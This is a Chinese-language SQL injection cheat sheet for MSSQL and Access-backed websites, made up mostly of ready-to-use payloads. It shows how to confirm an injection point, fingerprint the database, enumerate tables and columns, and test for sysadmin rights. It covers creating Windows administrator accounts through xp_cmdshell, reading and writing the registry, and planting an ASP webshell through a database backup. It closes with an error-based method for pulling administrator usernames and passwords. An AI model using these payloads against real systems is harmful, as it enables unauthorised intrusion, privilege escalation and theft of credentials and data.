1.判斷是否有注入
;and 1=1
;and 1=2

2.初步判斷是否是mssql
;and user>0

3.判斷資料庫系統
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入引數是字元
'and [查詢條件] and ''='

5.搜尋時沒過濾引數的
'and [查詢條件] and '%25'='

6.猜數表名
;and (select Count(*) from [表名])>0

7.猜欄位
;and (select Count(欄位名) from 表名)>0

8.猜欄位中記錄長度
;and (select top 1 len(欄位名) from 表名)>0

9.(1)猜欄位的ascii值（access）
;and (select top 1 asc(mid(欄位名,1,1)) from 表名)>0

(2)猜欄位的ascii值（mssql）
;and (select top 1 unicode(substring(欄位名,1,1)) from 表名)>0

10.測試許可權結構（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.新增mssql和系統的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 檢視檔案的內容

13.mssql中的儲存過程
xp_regenumvalues 登錄檔根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值型別, 值
值型別有2種REG_SZ 表示字元型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入登錄檔
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值

14.mssql的backup建立webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';

15.mssql內建函式
;and (select @@version)>0 獲得Windows的版本號
;and user_name()='dbo' 判斷當前系統的連線使用者是不是sa
;and (select user_name())>0 爆當前系統的連線使用者
;and (select db_name())>0 得到當前連線的資料庫

MSSQL手注暴庫

1．暴出當前表名和列名
在注入點後提交“'having 1=1--"，得到返回資訊為英文，在這段英文中即可看到一個表名和一個列名。提交“group by 暴出的表名列名having 1=1--"，可得到另一個列名；繼續提交“group by 暴了的表名列名,暴出的表名.第2個列名 having 1=1--"，可再得到一個列名。用同樣的方法提交，直到頁面不再返回錯誤資訊，就可以得到所有的列名。小知識：暴表名與列名是在SQL語句中“having 1=1—"與GROUP BY結合使用，進行條件判斷的。由於語句不完整，因此資料庫返回錯誤資訊，並顯示一個表名和一個列名。基本方法只能暴出資料庫中的當前表，如果某個表中包含的列名非常多，用上基本方法就非常困難了。

第一.爆出所有資料庫名
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"語句，暴出資料庫中任意表名和列名，其中“[N]"表示資料庫中的第N個表。
第一步：在注入點後提交如下語句：“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)"，因為 dbid 的值從1到5，是系統使用的，所以使用者自己建的一定是從6開始的，並且我們提交了 name>1，name欄位是一個字元型的欄位，和數字比較會出錯因此在提交後，IE會返回如下的資訊：“Microsoft OLE DB Provider for ODBC Drivers 錯誤 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'Northwind' 轉換為資料型別為 int 的列時發生語法錯誤。"，這樣就把name欄位的值暴出來了，也就是我們得到了一個庫名“Northwind"。改變“dbid"的值可以得出所有的庫名。

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N從6開始爆出所有資料庫名

第二.爆出指定庫中的所有表名
得到了庫名後，現在要得到庫中所有的表名，提交如下語句："and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') "，這裡要暴的是master這個庫中的表名，查詢的SQL語句返回的是name的值，然後和數字0比較，這樣就會暴露出name的值。提交後一個表名為“'spt_monito"就被暴出來了。
再接著暴其他的表，繼續提交如下語句：“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交後，又暴出一個表名為"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。

and 0<>(select top 1 name from [指定庫名].dbo.sysobjects where xtype='U')--
and 0<>(select top 1 name from [指定庫名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
and 0<>(select top 1 name from [指定庫名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--

4.爆出指定表中的所有列名
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
//把ID值轉成字元型後再和一個整型值比較。ID號出來了。值為：949578421 name='表名'

and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一個欄位名

再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有欄位名。

and 0<>(select count(*) from [指定庫名].dbo.sysobjects where xtype='U' and name='[要爆欄位的表名]' and uid>(str(id)))-- 爆出要爆欄位的表名id值

and 0<>(select top 1 name from [指定庫名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一個欄位名

and 0<>(select top 1 name from [指定庫名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的欄位名]'))--

5．讀取指定表中的資料

and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的內容

and 0<(select [一個存在的欄位] from [指定庫名].dbo.[要查詢的表名] where [要爆內容的欄位名]>1)--

and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密碼

and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理員名字(fuhao)

and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二個管理員的名字 <>不等於(tuiguang)

and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--

知道了資料庫的表名、列名後，可以利用“查詢語句"讀取資料庫中的任意資訊。例如要讀取某個表中某列中的第N個數據，可提交語句：“and (Select Top 1 列名 FROM 表名 where id=[N])>1"（ [N]代表列中的第N條資料），從IE返回資訊中即可得知想要的資料。